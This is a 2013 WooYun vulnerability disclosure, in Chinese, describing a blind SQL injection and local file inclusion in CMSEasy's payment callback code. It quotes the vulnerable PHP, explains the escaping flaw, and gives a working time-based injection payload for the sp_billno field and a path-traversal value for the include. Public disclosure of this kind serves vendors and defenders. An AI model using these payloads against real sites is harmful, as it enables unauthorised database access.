当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-040521

漏洞标题:cmseasy注入漏洞外送本地文件包含

相关厂商:cmseasy

漏洞作者: Chora

提交时间:2013-10-21 15:03

修复时间:2014-01-19 15:04

公开时间:2014-01-19 15:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-10-21: 细节已通知厂商并且等待厂商处理中
2013-10-21: 厂商已经确认,细节仅向厂商公开
2013-10-24: 细节向第三方安全合作伙伴开放
2013-12-15: 细节向核心白帽子及相关领域专家公开
2013-12-25: 细节向普通白帽子公开
2014-01-04: 细节向实习白帽子公开
2014-01-19: 细节向公众公开

简要描述:

大神,求20我就满100成为普通白帽子了,再也不挖洞了,求满足,我有强迫症。。。还有麻烦把那个xss+csrf getshell审核下。

详细说明:

这次出问题的依然是通用函数。因为附带把包含漏洞写出来就选择了这个盲注。
这个包含需要包含两次才能运用,不过最终还是不能截断(说了半天等于没说哈哈)。传说用很多个/截断,没成功,悲剧
lib/default/archive_act.php

function respond_action() {
include_once ROOT . '/lib/plugins/pay/' . front::$get['code'] . '.php'; //GET过滤了,但是可以包含/pay/文件夹下的文件,code=tenpay,包含/lib/plugins/pay/tenpay.php
$payclassname = front::$get['code'];
$payobj = new $payclassname(); 实例化tenpay类
$uri = $_SERVER["REQUEST_URI"];
$__uriget = strstr($uri, '?');
$__uriget = str_replace('?', '', $__uriget);
$__uriget = explode('&', $__uriget);
$_GET = array(); //重置了GET
foreach ($__uriget as $key => $val) {
$tmp = explode('=', $val);
$_GET[$tmp[0]] = $tmp[1]; //采用REQUEST_URI,可以正常引入GET不受过滤的影响。
if(preg_match('/\'|select|union|"/i', $tmp1)){
exit('非法参数');
}
}
$status = $payobj->respond(); //执行tenpay的respond方法,跟进0x01
......
}


lib/plugins/pay/tenpay.php

class tenpay {
......
function respond() {
require_once ("tenpay/PayResponseHandler.class.php");
$resHandler = new PayResponseHandler();
$sp_billno = $resHandler->getParameter("sp_billno"); //腾讯的函数,类似于$_GET['sp_billno']或者$_POST['sp_billno']
//上面谈到GET不受过滤影响,本地问价内包含POST,GET提交都可,但是注入的话必须提交POST,因为GET是URL码.
//sp_lillno=sp_billno=-1-1-../../../demo 包含根目录的demo.php
preg_match_all("/-(.*)-(.*)-(.*)/isu",$sp_billno,$oidout);
$paytype = $where['pay_code'] = $oidout[3][0];
include_once ROOT.'/lib/plugins/pay/'.$paytype.'.php';//匹配上面正则就行,包含之,触发,但是实在找不到能截断的PHP文件了,所以鸡肋了。
$pay = pay::getInstance()->getrows($where); //SQL注入,跟进0x02
......
}


lib/inc/table.php 0x02

function getrow($condition,$order='1 desc',$cols='*') {
$this->condition($condition); //OMG跟进,又是这个函数
return $this->rec_select_one($condition,'*',$order);
}
function condition(&$condition) {
if (isset($condition) &&is_array($condition)) {
$_condition=array();
foreach ($condition as $key=>$value) {
$value=str_replace("'","\'",$value);//这次是在这里,因为GPC的关系提交'会被转移成\'而程序员把'替换成了\'就变成了\\'成功引入引号。还是好好改改这个函数吧。
$_condition[]="`$key`='$value'";
}
$condition=implode(' and ',$_condition);
}
......
}


因为要引入引号,所以GET不行因为GET被重置为URL码了,这里用POST方法提交sp_billno
-1-1-1-' and if(1=1,BENCHMARK(1000000,MD5(1)),null)%23
-1-1-1-' and if(1=1,BENCHMARK(1000000,MD5(1)),null)%23
SELECT * FROM `cmseasy_p_pay` WHERE `pay_code`='\\' and if(1=1,BENCHMARK(1000000,MD5(1)),null)

漏洞证明:

1.jpg

2.JPG

3.JPG

修复方案:

最后求包养

版权声明:转载请注明来源 Chora@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2013-10-21 15:07

厂商回复:

感谢

最新状态:

暂无